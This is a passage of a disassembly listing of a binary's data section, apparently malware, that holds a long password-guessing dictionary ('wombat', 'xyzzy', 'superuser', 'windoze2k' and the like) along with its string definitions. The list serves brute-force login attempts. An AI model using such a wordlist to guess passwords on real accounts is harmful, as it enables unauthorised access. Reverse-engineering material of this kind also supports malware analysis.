dd offset aLore ; "lore"
dd offset aLori ; "lori"
dd offset aLorin ; "lorin"
dd offset aLorraine ; "lorraine"
dd offset aLoser ; "loser"
dd offset aLouis ; "louis"
dd offset aLovebug ; "lovebug"
dd offset aLover ; "lover"
dd offset aLuck ; "luck"
dd offset aLucus ; "lucus"
dd offset aLucy ; "lucy"
dd offset aLude ; "lude"
dd offset aLuke ; "luke"
dd offset aLust ; "lust"
dd offset aLynn ; "lynn"
dd offset aLynne ; "lynne"
dd offset aMachine ; "machine"
dd offset aMacintos ; "macintos"
dd offset aMack ; "mack"
dd offset aMacro ; "macro"
dd offset aMaggot ; "maggot"
dd offset aMagic ; "magic"
dd offset aMagnet ; "magnet"
dd offset aMail ; "mail"
dd offset aMaint ; "maint"
dd offset aMalcolm ; "malcolm"
dd offset aMalcom ; "malcom"
dd offset aMana ; "mana"
dd offset aManager ; "manager"
dd offset aMara ; "mara"
dd offset aMarci ; "marci"
dd offset aMarcy ; "marcy"
dd offset aMaria ; "maria"
dd offset aMariens ; "mariens"
dd offset aMarietta ; "marietta"
dd offset aMarijuan ; "marijuan"
dd offset aMarines ; "marines"
dd offset aMark ; "mark"
dd offset aMarkus ; "markus"
dd offset aMarni ; "marni"
dd offset aMarriage ; "marriage"
dd offset aMars ; "mars"
dd offset aMarty ; "marty"
dd offset aMarvin ; "marvin"
dd offset aMary ; "mary"
dd offset aMason ; "mason"
dd offset aMaster ; "master"
dd offset aMath ; "math"
dd offset aMaurice ; "maurice"
dd offset aMeagan ; "meagan"
dd offset aMegabyte ; "megabyte"
dd offset aMegadeth ; "megadeth"
dd offset aMegan ; "megan"
dd offset aMelissa ; "melissa"
dd offset aMellon ; "mellon"
dd offset aMelrose ; "melrose"
dd offset aMember ; "member"
dd offset aMemory ; "memory"
dd offset aMenace ; "menace"
dd offset aMenu ; "menu"
dd offset aMercury ; "mercury"
dd offset aMerlin ; "merlin"
dd offset aMetal ; "metal"
dd offset aMetalhea ; "metalhea"
dd offset aMetalica ; "metalica"
dd offset aMets ; "mets"
dd offset aMice ; "mice"
dd offset aMichael ; "michael"
dd offset aMichel ; "michel"
dd offset aMichelan ; "michelan"
dd offset aMichele ; "michele"
dd offset aMichelle ; "michelle"
dd offset aMickey ; "mickey"
dd offset aMicro ; "micro"
dd offset aMicrochi ; "microchi"
dd offset aMicropro ; "micropro"
dd offset aMicrosof ; "microsof"
dd offset aMidieval ; "midieval"
dd offset aMike ; "mike"
dd offset aMine ; "mine"
dd offset aMinimum ; "minimum"
dd offset aMinsky ; "minsky"
dd offset aMisfit ; "misfit"
dd offset aMission ; "mission"
dd offset aMkii ; "mkii"
dd offset aMode ; "mode"
dd offset aModem ; "modem"
dd offset aMogul ; "mogul"
dd offset aMoguls ; "moguls"
dd offset aMonday ; "monday"
dd offset aMonica ; "monica"
dd offset aMoom ; "moom"
dd offset aMoor ; "moor"
dd offset aMoose ; "moose"
dd offset aMore ; "more"
dd offset aMorley ; "morley"
dd offset aMorris ; "morris"
dd offset aMortal ; "mortal"
dd offset aMortalco ; "mortalco"
dd offset aMortgage ; "mortgage"
dd offset aMosaic ; "mosaic"
dd offset aMountain ; "mountain"
dd offset aMouse ; "mouse"
dd offset aMove ; "move"
dd offset aMovie ; "movie"
dd offset aMovies ; "movies"
dd offset aMozart ; "mozart"
dd offset aMpeg ; "mpeg"
dd offset aMsdos ; "msdos"
dd offset aMuppets ; "muppets"
dd offset aMutant ; "mutant"
dd offset aNagel ; "nagel"
dd offset aName ; "name"
dd offset aNancy ; "nancy"
dd offset aNapoleon ; "napoleon"
dd offset aNasa ; "nasa"
dd offset aNavy ; "navy"
dd offset aNepenthe ; "nepenthe"
dd offset aNeptune ; "neptune"
dd offset aNess ; "ness"
dd offset aNetscape ; "netscape"
dd offset aNetwork_0 ; "network"
dd offset aNewborn ; "newborn"
dd offset aNews ; "news"
dd offset aNewsgrou ; "newsgrou"
dd offset aNewton ; "newton"
dd offset aNewyork ; "newyork"
dd offset aNext ; "next"
dd offset aNice ; "nice"
dd offset aNicole ; "nicole"
dd offset aNicotine ; "nicotine"
dd offset aNight ; "night"
dd offset aNightmar ; "nightmar"
dd offset aNintendo ; "nintendo"
dd offset aNita ; "nita"
dd offset aNnaacp ; "nnaacp"
dd offset aNoble ; "noble"
dd offset aNobody ; "nobody"
dd offset aNode ; "node"
dd offset aNoreen ; "noreen"
dd offset aNotes ; "notes"
dd offset aNoth ; "noth"
dd offset aNova ; "nova"
dd offset aNovel ; "novel"
dd offset aNovember ; "november"
dd offset aNoxious ; "noxious"
dd offset aNuclear ; "nuclear"
dd offset aNude ; "nude"
dd offset aNuke ; "nuke"
dd offset aNukem ; "nukem"
dd offset aNull_1 ; "null"
dd offset aNumber ; "number"
dd offset aNutritio ; "nutritio"
dd offset aNuts ; "nuts"
dd offset aNyquist ; "nyquist"
dd offset aObscurit ; "obscurit"
dd offset aOceanogr ; "oceanogr"
dd offset aOcelot ; "ocelot"
dd offset aOffice ; "office"
dd offset aOkay ; "okay"
dd offset aOldage ; "oldage"
dd offset aOlivetti ; "olivetti"
dd offset aOlivia ; "olivia"
dd offset aOmega ; "omega"
dd offset aOpen ; "open"
dd offset aOpening ; "opening"
dd offset aOpenlock ; "openlock"
dd offset aOpensesa ; "opensesa"
dd offset aOperator ; "operator"
dd offset aOrca ; "orca"
dd offset aOrient ; "orient"
dd offset aOrwell ; "orwell"
dd offset aOscar ; "oscar"
dd offset aOsiris ; "osiris"
dd offset aOutdoors ; "outdoors"
dd offset aOutlaw ; "outlaw"
dd offset aOutput ; "output"
dd offset aOutside ; "outside"
dd offset aOxford ; "oxford"
dd offset aPacific ; "pacific"
dd offset aPackard ; "packard"
dd offset aPacker ; "packer"
dd offset aPainless ; "painless"
dd offset aPaint ; "paint"
dd offset aPakistan ; "pakistan"
dd offset aPamela ; "pamela"
dd offset aPapa ; "papa"
dd offset aPaper ; "paper"
dd offset aPapers ; "papers"
dd offset aPascal ; "pascal"
dd offset aPassphra ; "passphra"
dd offset aPaste ; "paste"
dd offset aPatricia ; "patricia"
dd offset aPatriot ; "patriot"
dd offset aPatty ; "patty"
dd offset aPaula ; "paula"
dd offset aPeanuts ; "peanuts"
dd offset aPecker ; "pecker"
dd offset aPencil ; "pencil"
dd offset aPenelope ; "penelope"
dd offset aPenguin ; "penguin"
dd offset aPenis ; "penis"
dd offset aPenname ; "penname"
dd offset aPentagon ; "pentagon"
dd offset aPentagra ; "pentagra"
dd offset aPenthous ; "penthous"
dd offset aPentium ; "pentium"
dd offset aPeoria ; "peoria"
dd offset aPepper ; "pepper"
dd offset aPercolat ; "percolat"
dd offset aPerfect ; "perfect"
dd offset aPermit ; "permit"
dd offset aPersimmo ; "persimmo"
dd offset aPersona ; "persona"
dd offset aPervert ; "pervert"
dd offset aPete ; "pete"
dd offset aPeter ; "peter"
dd offset aPhil ; "phil"
dd offset aPhilip ; "philip"
dd offset aPhoenix ; "phoenix"
dd offset aPhone ; "phone"
dd offset aPhoton ; "photon"
dd offset aPhrack ; "phrack"
dd offset aPhrase ; "phrase"
dd offset aPhreak ; "phreak"
dd offset aPhuck ; "phuck"
dd offset aPick ; "pick"
dd offset aPierre ; "pierre"
dd offset aPimp ; "pimp"
dd offset aPinname ; "pinname"
dd offset aPiss ; "piss"
dd offset aPizza ; "pizza"
dd offset aPlane ; "plane"
dd offset aPlayboy ; "playboy"
dd offset aPlover ; "plover"
dd offset aPluto ; "pluto"
dd offset aPlymouth ; "plymouth"
dd offset aPoetry ; "poetry"
dd offset aPolice ; "police"
dd offset aPolly ; "polly"
dd offset aPolynomi ; "polynomi"
dd offset aPonderin ; "ponderin"
dd offset aPoop ; "poop"
dd offset aPoor ; "poor"
dd offset aPork ; "pork"
dd offset aPorn ; "porn"
dd offset aPorno ; "porno"
dd offset aPorsche ; "porsche"
dd offset aPost ; "post"
dd offset aPoster ; "poster"
dd offset aPower ; "power"
dd offset aPraise ; "praise"
dd offset aPrecious ; "precious"
dd offset aPrelude ; "prelude"
dd offset aPresto ; "presto"
dd offset aPrince ; "prince"
dd offset aPrinceto ; "princeto"
dd offset aPrinter ; "printer"
dd offset aPriv ; "priv"
dd offset aPrivate ; "private"
dd offset aPrivs ; "privs"
dd offset aProceed ; "proceed"
dd offset aProcesso ; "processo"
dd offset aProfesso ; "professo"
dd offset aProfile ; "profile"
dd offset aProgram ; "program"
dd offset aPrompt ; "prompt"
dd offset aProtect ; "protect"
dd offset aProtozoa ; "protozoa"
dd offset aPsycho ; "psycho"
dd offset aPsychopa ; "psychopa"
dd offset aPublic ; "public"
dd offset aPuck ; "puck"
dd offset aPuke ; "puke"
dd offset aPumpkin ; "pumpkin"
dd offset aPuneet ; "puneet"
dd offset aPunisher ; "punisher"
dd offset aPunk ; "punk"
dd offset aPuppet ; "puppet"
dd offset aPussy ; "pussy"
dd offset aQuebec ; "quebec"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
dd offset aRabbit ; "rabbit"
dd offset aRachel ; "rachel"
dd offset aRachelle ; "rachelle"
dd offset aRachmani ; "rachmani"
dd offset aRaid ; "raid"
dd offset aRain ; "rain"
dd offset aRainbow ; "rainbow"
dd offset aRaindrop ; "raindrop"
dd offset aRaleigh ; "raleigh"
dd offset aRandom ; "random"
dd offset aRape ; "rape"
dd offset aRascal ; "rascal"
dd offset aRazor ; "razor"
dd offset aReagan ; "reagan"
dd offset aReality ; "reality"
dd offset aReally ; "really"
dd offset aReam ; "ream"
dd offset aReaper ; "reaper"
dd offset aRebal ; "rebal"
dd offset aRebecca ; "rebecca"
dd offset aRebel ; "rebel"
dd offset aRecord ; "record"
dd offset aReddawn ; "reddawn"
dd offset aRedhead ; "redhead"
dd offset aReferenc ; "referenc"
dd offset aRegional ; "regional"
dd offset aRelease ; "release"
dd offset aRemote ; "remote"
dd offset aRenee ; "renee"
dd offset aReno ; "reno"
dd offset aRent ; "rent"
dd offset aReport ; "report"
dd offset aRepublic ; "republic"
dd offset aResistan ; "resistan"
dd offset aReveal ; "reveal"
dd offset aRhino ; "rhino"
dd offset aRich ; "rich"
dd offset aRick ; "rick"
dd offset aRiffraff ; "riffraff"
dd offset aRight ; "right"
dd offset aRightwin ; "rightwin"
dd offset aRing ; "ring"
dd offset aRiot ; "riot"
dd offset aRipple ; "ripple"
dd offset aRisc ; "risc"
dd offset aRoach ; "roach"
dd offset aRobert ; "robert"
dd offset aRobin ; "robin"
dd offset aRobot ; "robot"
dd offset aRobotics ; "robotics"
dd offset aRobyn ; "robyn"
dd offset aRochelle ; "rochelle"
dd offset aRocheste ; "rocheste"
dd offset aRock ; "rock"
dd offset aRocky ; "rocky"
dd offset aRockyhor ; "rockyhor"
dd offset aRodent ; "rodent"
dd offset aRolex ; "rolex"
dd offset aRomano ; "romano"
dd offset aRomeo ; "romeo"
dd offset aRomulan ; "romulan"
dd offset aRonald ; "ronald"
dd offset aRose ; "rose"
dd offset aRosebud ; "rosebud"
dd offset aRosemary ; "rosemary"
dd offset aRoses ; "roses"
dd offset aRough ; "rough"
dd offset aRubber ; "rubber"
dd offset aRuben ; "ruben"
dd offset aRuby ; "ruby"
dd offset aRude ; "rude"
dd offset aRules ; "rules"
dd offset aRunning_0 ; "running"
dd offset aRush ; "rush"
dd offset aRuth ; "ruth"
dd offset aSafe ; "safe"
dd offset aSalami ; "salami"
dd offset aSale ; "sale"
dd offset aSalt ; "salt"
dd offset aSamantha ; "samantha"
dd offset aSample ; "sample"
dd offset aSandra ; "sandra"
dd offset aSandy ; "sandy"
dd offset aSara ; "sara"
dd offset aSarah ; "sarah"
dd offset aSaturday ; "saturday"
dd offset aSaturn ; "saturn"
dd offset aSaxon ; "saxon"
dd offset aScamper ; "scamper"
dd offset aScheme ; "scheme"
dd offset aSchool ; "school"
dd offset aSchoolsucks ; "schoolsucks"
dd offset aScifi ; "scifi"
dd offset aScorpion ; "scorpion"
dd offset aScott ; "scott"
dd offset aScotty ; "scotty"
dd offset aScout ; "scout"
dd offset aSearch ; "search"
dd offset aSecurity ; "security"
dd offset aSeed ; "seed"
dd offset aSega ; "sega"
dd offset aSensor ; "sensor"
dd offset aSentinel ; "sentinel"
dd offset aSentry ; "sentry"
dd offset aSerenity ; "serenity"
dd offset aSerial_0 ; "serial"
dd offset aService ; "service"
dd offset aSesame ; "sesame"
dd offset aSexy ; "sexy"
dd offset aShannon ; "shannon"
dd offset aSharc ; "sharc"
dd offset aShark ; "shark"
dd offset aSharks ; "sharks"
dd offset aSharon ; "sharon"
dd offset aSheffiel ; "sheffiel"
dd offset aSheldon ; "sheldon"
dd offset aShell ; "shell"
dd offset aSherri ; "sherri"
dd offset aShift ; "shift"
dd offset aShirley ; "shirley"
dd offset aShit ; "shit"
dd offset aShitpot ; "shitpot"
dd offset aShiva ; "shiva"
dd offset aShivers ; "shivers"
dd offset aShort ; "short"
dd offset aShuttle ; "shuttle"
dd offset aSick ; "sick"
dd offset aSierra ; "sierra"
dd offset aSignatur ; "signatur"
dd offset aSilver ; "silver"
dd offset aSimcity ; "simcity"
dd offset aSimon ; "simon"
dd offset aSimple ; "simple"
dd offset aSimpsons ; "simpsons"
dd offset aSimulati ; "simulati"
dd offset aSinger ; "singer"
dd offset aSingle ; "single"
dd offset aSite ; "site"
dd offset aSkull ; "skull"
dd offset aSlave ; "slave"
dd offset aSlick ; "slick"
dd offset aSliders ; "sliders"
dd offset aSlow ; "slow"
off_430050 dd offset aSlut ; DATA XREF: .data:00426B9Co
; "slut"
dd offset aSmall ; "small"
dd offset aSmart ; "smart"
off_43005C dd offset aSmile ; DATA XREF: .data:off_426A38o
; "smile"
dd offset aSmiles ; "smiles"
dd offset aSmooch ; "smooch"
dd offset aSmother ; "smother"
dd offset aSmtp ; "smtp"
dd offset aSmut ; "smut"
dd offset aSnach ; "snach"
dd offset aSnafu ; "snafu"
dd offset aSnake ; "snake"
dd offset aSnatch ; "snatch"
dd offset aSnoopy ; "snoopy"
dd offset aSoap ; "soap"
dd offset aSocial ; "social"
dd offset aSocrates ; "socrates"
dd offset aSodomy ; "sodomy"
dd offset aSoft ; "soft"
dd offset aSoftware ; "software"
dd offset aSomebody ; "somebody"
dd offset aSondra ; "sondra"
dd offset aSonia ; "sonia"
dd offset aSonic ; "sonic"
dd offset aSonya ; "sonya"
dd offset aSossina ; "sossina"
dd offset aSource ; "source"
dd offset aSouth ; "south"
dd offset aSpaceshi ; "spaceshi"
dd offset aSparrows ; "sparrows"
dd offset aSpear ; "spear"
dd offset aSpell ; "spell"
dd offset aSpice ; "spice"
dd offset aSpider ; "spider"
dd offset aSpiderma ; "spiderma"
dd offset aSpit ; "spit"
dd offset aSpred ; "spred"
dd offset aSpring ; "spring"
dd offset aSpringer ; "springer"
dd offset aSpunk ; "spunk"
dd offset aSquires ; "squires"
dd offset aSr71 ; "sr71"
dd offset aStacey ; "stacey"
dd offset aStaci ; "staci"
dd offset aStacie ; "stacie"
dd offset aStacy ; "stacy"
dd offset aStar ; "star"
dd offset aStarship ; "starship"
dd offset aStart ; "start"
dd offset aStartrek ; "startrek"
dd offset aStartup ; "startup"
dd offset aStarwars ; "starwars"
dd offset aSteak ; "steak"
dd offset aSteal ; "steal"
dd offset aSteel ; "steel"
dd offset aSteph ; "steph"
dd offset aStephani ; "stephani"
dd offset aStereo ; "stereo"
dd offset aSteve ; "steve"
dd offset aStoneage ; "stoneage"
dd offset aStoned ; "stoned"
dd offset aStones ; "stones"
dd offset aStrange ; "strange"
dd offset aStrangle ; "strangle"
dd offset aStratfor ; "stratfor"
dd offset aStreetfi ; "streetfi"
dd offset aString ; "string"
dd offset aStrip ; "strip"
dd offset aStudent ; "student"
dd offset aStuttgar ; "stuttgar"
dd offset aSubscrib ; "subscrib"
dd offset aSubway ; "subway"
dd offset aSuccess ; "success"
dd offset aSuck ; "suck"
dd offset aSuckmydi ; "suckmydi"
dd offset aSucks ; "sucks"
dd offset aSummer ; "summer"
dd offset aSunday ; "sunday"
dd offset aSuperman ; "superman"
dd offset aSuperson ; "superson"
dd offset aSupersta ; "supersta"
dd offset aSuperuse ; "superuse"
dd offset aSupervis ; "supervis"
dd offset aSupport ; "support"
dd offset aSupporte ; "supporte"
dd offset aSurfer ; "surfer"
dd offset aSurfing ; "surfing"
dd offset aSusan ; "susan"
dd offset aSusanne ; "susanne"
dd offset aSusie ; "susie"
dd offset aSuzanne ; "suzanne"
dd offset aSuzie ; "suzie"
dd offset aSwearer ; "swearer"
dd offset aSweat ; "sweat"
dd offset aSwitch ; "switch"
dd offset aSword ; "sword"
dd offset aSybil ; "sybil"
dd offset aSymmetry ; "symmetry"
dd offset aSysadmin ; "sysadmin"
dd offset aSysop ; "sysop"
dd offset aTabasco ; "tabasco"
dd offset aTalk ; "talk"
dd offset aTall ; "tall"
dd offset aTamara ; "tamara"
dd offset aTami ; "tami"
dd offset aTamie ; "tamie"
dd offset aTammy ; "tammy"
dd offset aTangerin ; "tangerin"
dd offset aTango ; "tango"
dd offset aTape ; "tape"
dd offset aTara ; "tara"
dd offset aTarget ; "target"
dd offset aTarragon ; "tarragon"
dd offset aTaylor ; "taylor"
dd offset aTeacher ; "teacher"
dd offset aTeam ; "team"
dd offset aTeapot ; "teapot"
dd offset aTears ; "tears"
dd offset aTech ; "tech"
dd offset aTeen ; "teen"
dd offset aTeenage ; "teenage"
dd offset aTelephon ; "telephon"
dd offset aTelnet ; "telnet"
dd offset aTemptati ; "temptati"
dd offset aTennis ; "tennis"
dd offset aTera ; "tera"
dd offset aTerminal ; "terminal"
dd offset aTerminat ; "terminat"
dd offset aTess ; "tess"
dd offset aTetris ; "tetris"
dd offset aText ; "text"
dd offset aThailand ; "thailand"
dd offset aTheresa ; "theresa"
dd offset aThin ; "thin"
dd offset aThursday ; "thursday"
dd offset aTiffany ; "tiffany"
dd offset aTiger ; "tiger"
dd offset aTime ; "time"
dd offset aTina ; "tina"
dd offset aTits ; "tits"
dd offset aToad ; "toad"
dd offset aToggle ; "toggle"
dd offset aToken ; "token"
dd offset aTokenrin ; "tokenrin"
dd offset aTomato ; "tomato"
dd offset aTopograp ; "topograp"
dd offset aTortoise ; "tortoise"
dd offset aToxic ; "toxic"
dd offset aToyota ; "toyota"
dd offset aTraci ; "traci"
dd offset aTracie ; "tracie"
dd offset aTracy ; "tracy"
dd offset aTrails ; "trails"
dd offset aTransfer ; "transfer"
dd offset aTrap ; "trap"
dd offset aTrapdoor ; "trapdoor"
dd offset aTree ; "tree"
dd offset aTrek ; "trek"
dd offset aTrisha ; "trisha"
dd offset aTrivial ; "trivial"
dd offset aTrojan ; "trojan"
dd offset aTrombone ; "trombone"
dd offset aTron ; "tron"
dd offset aTrue ; "true"
dd offset aTruth ; "truth"
dd offset aTubas ; "tubas"
dd offset aTuesday ; "tuesday"
dd offset aTurn ; "turn"
dd offset aTuttle ; "tuttle"
dd offset aUgly ; "ugly"
dd offset aUmesh ; "umesh"
dd offset aUncle ; "uncle"
dd offset aUndo ; "undo"
dd offset aUnhappy ; "unhappy"
dd offset aUnicorn ; "unicorn"
dd offset aUniform ; "uniform"
dd offset aUniversa ; "universa"
dd offset aUniverse ; "universe"
dd offset aUniversi ; "universi"
dd offset aUnknown_1 ; "unknown"
dd offset aUnlock ; "unlock"
dd offset aUpload ; "upload"
dd offset aUranus ; "uranus"
dd offset aUrchin ; "urchin"
dd offset aUrsula ; "ursula"
dd offset aUsenet ; "usenet"
dd offset aUsermane ; "usermane"
dd offset aUsername_0 ; "username"
dd offset aUsmc ; "usmc"
dd offset aUtil ; "util"
dd offset aUtility ; "utility"
dd offset aUucp ; "uucp"
dd offset aVagina ; "vagina"
dd offset aValerie ; "valerie"
dd offset aVampire ; "vampire"
dd offset aVasant ; "vasant"
dd offset aVenus ; "venus"
dd offset aVeronica ; "veronica"
dd offset aVertigo ; "vertigo"
dd offset aVicky ; "vicky"
dd offset aVictor ; "victor"
dd offset aVideo ; "video"
dd offset aVideogam ; "videogam"
dd offset aVillage ; "village"
dd offset aVirgin ; "virgin"
dd offset aVirginia ; "virginia"
dd offset aVirus ; "virus"
dd offset aVisitor ; "visitor"
dd offset aVisual ; "visual"
dd offset aVisualba ; "visualba"
dd offset aVodka ; "vodka"
dd offset aWaco ; "waco"
dd offset aWard ; "ward"
dd offset aWarez ; "warez"
dd offset aWarfare ; "warfare"
dd offset aWargames ; "wargames"
dd offset aWarp ; "warp"
dd offset aWarren ; "warren"
dd offset aWasp ; "wasp"
dd offset aWatchwor ; "watchwor"
dd offset aWater ; "water"
dd offset aWave ; "wave"
dd offset aWebpage ; "webpage"
dd offset aWednesda ; "wednesda"
dd offset aWeed ; "weed"
dd offset aWeenie ; "weenie"
dd offset aWell ; "well"
dd offset aWendi ; "wendi"
dd offset aWendy ; "wendy"
dd offset aWerewolf ; "werewolf"
dd offset aWest ; "west"
dd offset aWestern ; "western"
dd offset aWhatever ; "whatever"
dd offset aWhatnot ; "whatnot"
dd offset aWhisky ; "whisky"
dd offset aWhite ; "white"
dd offset aWhiting ; "whiting"
dd offset aWhitney ; "whitney"
dd offset aWholesal ; "wholesal"
dd offset aWhore ; "whore"
dd offset aWill ; "will"
dd offset aWilliam ; "william"
dd offset aWilliams ; "williams"
dd offset aWillie ; "willie"
dd offset aWilma ; "wilma"
dd offset aWindows ; "windows"
dd offset aWine ; "wine"
dd offset aWing ; "wing"
dd offset aWinston ; "winston"
dd offset aWired ; "wired"
dd offset aWisconsi ; "wisconsi"
dd offset aWiseass ; "wiseass"
dd offset aWithin ; "within"
dd offset aWizard ; "wizard"
dd offset aWolf ; "wolf"
dd offset aWolverin ; "wolverin"
dd offset aWoman ; "woman"
dd offset aWombat ; "wombat"
dd offset aWomen ; "women"
dd offset aWood ; "wood"
dd offset aWoodwind ; "woodwind"
dd offset aWord ; "word"
dd offset aWordperf ; "wordperf"
dd offset aWorf ; "worf"
dd offset aWork ; "work"
dd offset aWorm ; "worm"
dd offset aWormwood ; "wormwood"
dd offset aWwii ; "wwii"
dd offset aWyoming ; "wyoming"
dd offset aXena ; "xena"
dd offset aXfer ; "xfer"
dd offset aXman ; "xman"
dd offset aXmen ; "xmen"
dd offset aXmodem ; "xmodem"
dd offset aXray ; "xray"
dd offset aXyzzy ; "xyzzy"
dd offset aYaco ; "yaco"
dd offset aYang ; "yang"
dd offset aYankee ; "yankee"
dd offset aYellow ; "yellow"
dd offset aYellowst ; "yellowst"
dd offset aYolanda ; "yolanda"
dd offset aYosemite ; "yosemite"
dd offset aYoung ; "young"
dd offset aZebra ; "zebra"
dd offset aZeitgeis ; "zeitgeis"
dd offset aZiggy ; "ziggy"
dd offset aZimmerma ; "zimmerma"
dd offset aZmodem ; "zmodem"
dd offset aZombie ; "zombie"
dd offset aZulu ; "zulu"
dd offset a00000000 ; "00000000"
dd offset aTester ; "tester"
dd offset aTestin ; "testin"
dd offset aRoss ; "Ross"
dd offset aRosco ; "Rosco"
dd offset aRoscop ; "RoscoP"
dd offset aRoscopcoltrane ; "RoscoPColtrane"
dd offset aLol ; "lol"
dd offset aD00d ; "d00d"
dd offset aDudette ; "dudette"
dd offset aDud3 ; "dud3"
dd offset aAl3x ; "Al3x"
dd offset aAlexander ; "Alexander"
dd offset aDonaldduck ; "donaldduck"
dd offset aWileecoyote ; "wileecoyote"
dd offset aWindowz ; "windowz"
dd offset aWindoze ; "windoze"
dd offset aWindose ; "windose"
dd offset aBilly ; "billy"
dd offset aM ; "M$"
dd offset aMs ; "MS"
dd offset aWindowsxp ; "WindowsXP"
dd offset aWindows2k ; "windows2k"
dd offset aWindowsme ; "windowsME"
dd offset aWindows98 ; "windows98"
dd offset aWindows95 ; "windows95"
dd offset aWindozexp ; "windozexp"
dd offset aWindoze2k ; "windoze2k"
dd offset aWindozeme ; "windozeME"
dd offset aWindoze98 ; "windoze98"
dd offset aWindoze95 ; "windoze95"
dd offset aWh0r3 ; "wh0r3"
dd offset aHo ; "ho"
dd offset aWh0re ; "wh0re"
dd offset aHax ; "hax"
dd offset aHaxing ; "haxing"
dd offset aH4x1ng ; "h4x1ng"
dd offset aH4x0r1ng ; "h4x0r1ng"
dd offset aH4x0ring ; "h4x0ring"
dd offset aAda ; "ada"
dd offset aAlbatross ; "albatross"
dd offset aAlf ; "alf"
dd offset aAma ; "ama"
dd offset aAmorphous ; "amorphous"
dd offset aAmy ; "amy"
dd offset aAndromache ; "andromache"
dd offset aAnn ; "ann"
dd offset aAnthropogenic ; "anthropogenic"
dd offset aAsd ; "asd"
dd offset aAsm ; "asm"
dd offset aAtmosphere ; "atmosphere"
dd offset aBeethoven ; "beethoven"
dd offset aBicameral ; "bicameral"
dd offset aBob ; "bob"
dd offset aBsd ; "bsd"
dd offset aCad ; "cad"
dd offset aCampanile ; "campanile"
dd offset aCat ; "cat"
dd offset aCatherine ; "catherine"
dd offset aChemistry ; "chemistry"
dd offset aChristina ; "christina"
dd offset aChristine ; "christine"
dd offset aCommrades ; "commrades"
dd offset aCornelius ; "cornelius"
dd offset aDeb ; "deb"
dd offset aDesperate ; "desperate"
dd offset aDiscovery ; "discovery"
dd offset aDog ; "dog"
dd offset aDos ; "dos"
dd offset aEdinburgh ; "edinburgh"
dd offset aEiderdown ; "eiderdown"
dd offset aElizabeth ; "elizabeth"
dd offset aEnterprise ; "enterprise"
dd offset aEstablish ; "establish"
dd offset aExtension ; "extension"
dd offset aFoolproof ; "foolproof"
dd offset aForesight ; "foresight"
dd offset aFun ; "fun"
dd offset aGnu ; "gnu"
dd offset aHal ; "hal"
dd offset aHappening ; "happening"
dd offset aIbm ; "ibm"
dd offset aImbroglio ; "imbroglio"
dd offset aInnocuous ; "innocuous"
dd offset aJen ; "jen"
dd offset aJoy ; "joy"
dd offset aKey ; "key"
dd offset aKim ; "kim"
dd offset aLamination ; "lamination"
dd offset aLee ; "lee"
dd offset aLiz ; "liz"
dd offset aMacintosh ; "macintosh"
dd offset aMgr ; "mgr"
dd offset aMit ; "mit"
dd offset aNet ; "net"
dd offset aNew ; "new"
dd offset aNutrition ; "nutrition"
dd offset aOceanography ; "oceanography"
dd offset aPad ; "pad"
dd offset aPam ; "pam"
dd offset aPercolate ; "percolate"
dd offset aPersimmon ; "persimmon"
dd offset aPolynomial ; "polynomial"
dd offset aPondering ; "pondering"
dd offset aPrinceton ; "princeton"
dd offset aProfessor ; "professor"
dd offset aPub ; "pub"
dd offset aRachmaninoff ; "rachmaninoff"
dd offset aRje ; "rje"
dd offset aRochester ; "rochester"
dd offset aSal ; "sal"
dd offset aSheffield ; "sheffield"
dd offset aSignature ; "signature"
dd offset aStephanie ; "stephanie"
dd offset aStratford ; "stratford"
dd offset aStuttgart ; "stuttgart"
dd offset aSun ; "sun"
dd offset aSuperstage ; "superstage"
dd offset aSuperuser ; "superuser"
dd offset aSupported ; "supported"
dd offset aSys ; "sys"
dd offset aTangerine ; "tangerine"
dd offset aTelephone ; "telephone"
dd offset aTemptation ; "temptation"
dd offset aTopography ; "topography"
dd offset aTty ; "tty"
dd offset aWholesale ; "wholesale"
dd offset aWilliamsburg ; "williamsburg"
dd offset aWisconsin ; "wisconsin"
dd offset aXyz ; "xyz"
dd offset aYellowstone ; "yellowstone"
dd offset aZap ; "zap"
dd offset aZimmerman ; "zimmerman"
dd offset byte_43BCE8
align 8
dword_4306F8 dd 10h ; DATA XREF: sub_40BC95+72w
; sub_40EC43+B02r ...
aZimmerman db 'zimmerman',0 ; DATA XREF: .data:004306ECo
align 4
aZap db 'zap',0 ; DATA XREF: .data:004306E8o
aYellowstone db 'yellowstone',0 ; DATA XREF: .data:004306E4o
aXyz db 'xyz',0 ; DATA XREF: .data:004306E0o
aWisconsin db 'wisconsin',0 ; DATA XREF: .data:004306DCo
align 4
aWilliamsburg db 'williamsburg',0 ; DATA XREF: .data:004306D8o
align 4
aWholesale db 'wholesale',0 ; DATA XREF: .data:004306D4o
align 4
aTty db 'tty',0 ; DATA XREF: .data:004306D0o
aTopography db 'topography',0 ; DATA XREF: .data:004306CCo
align 4
aTemptation db 'temptation',0 ; DATA XREF: .data:004306C8o
align 10h
aTelephone db 'telephone',0 ; DATA XREF: .data:004306C4o
align 4
aTangerine db 'tangerine',0 ; DATA XREF: .data:004306C0o
align 4
aSys db 'sys',0 ; DATA XREF: .data:004306BCo
aSupported db 'supported',0 ; DATA XREF: .data:004306B8o
align 4
aSuperuser db 'superuser',0 ; DATA XREF: .data:004306B4o
align 4
aSuperstage db 'superstage',0 ; DATA XREF: .data:004306B0o
align 10h
aSun db 'sun',0 ; DATA XREF: .data:004306ACo
aStuttgart db 'stuttgart',0 ; DATA XREF: .data:004306A8o
align 10h
aStratford db 'stratford',0 ; DATA XREF: .data:004306A4o
align 4
aStephanie db 'stephanie',0 ; DATA XREF: .data:004306A0o
align 4
aSignature db 'signature',0 ; DATA XREF: .data:0043069Co
align 4
aSheffield db 'sheffield',0 ; DATA XREF: .data:00430698o
align 10h
aSal db 'sal',0 ; DATA XREF: .data:00430694o
aRochester db 'rochester',0 ; DATA XREF: .data:00430690o
align 10h
aRje db 'rje',0 ; DATA XREF: .data:0043068Co
aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: .data:00430688o
align 4
aPub db 'pub',0 ; DATA XREF: .data:00430684o
aProfessor db 'professor',0 ; DATA XREF: .data:00430680o
align 4
aPrinceton db 'princeton',0 ; DATA XREF: .data:0043067Co
align 10h
aPondering db 'pondering',0 ; DATA XREF: .data:00430678o
align 4
aPolynomial db 'polynomial',0 ; DATA XREF: .data:00430674o
align 4
aPersimmon db 'persimmon',0 ; DATA XREF: .data:00430670o
align 4
aPercolate db 'percolate',0 ; DATA XREF: .data:0043066Co
align 10h
aPam db 'pam',0 ; DATA XREF: .data:00430668o
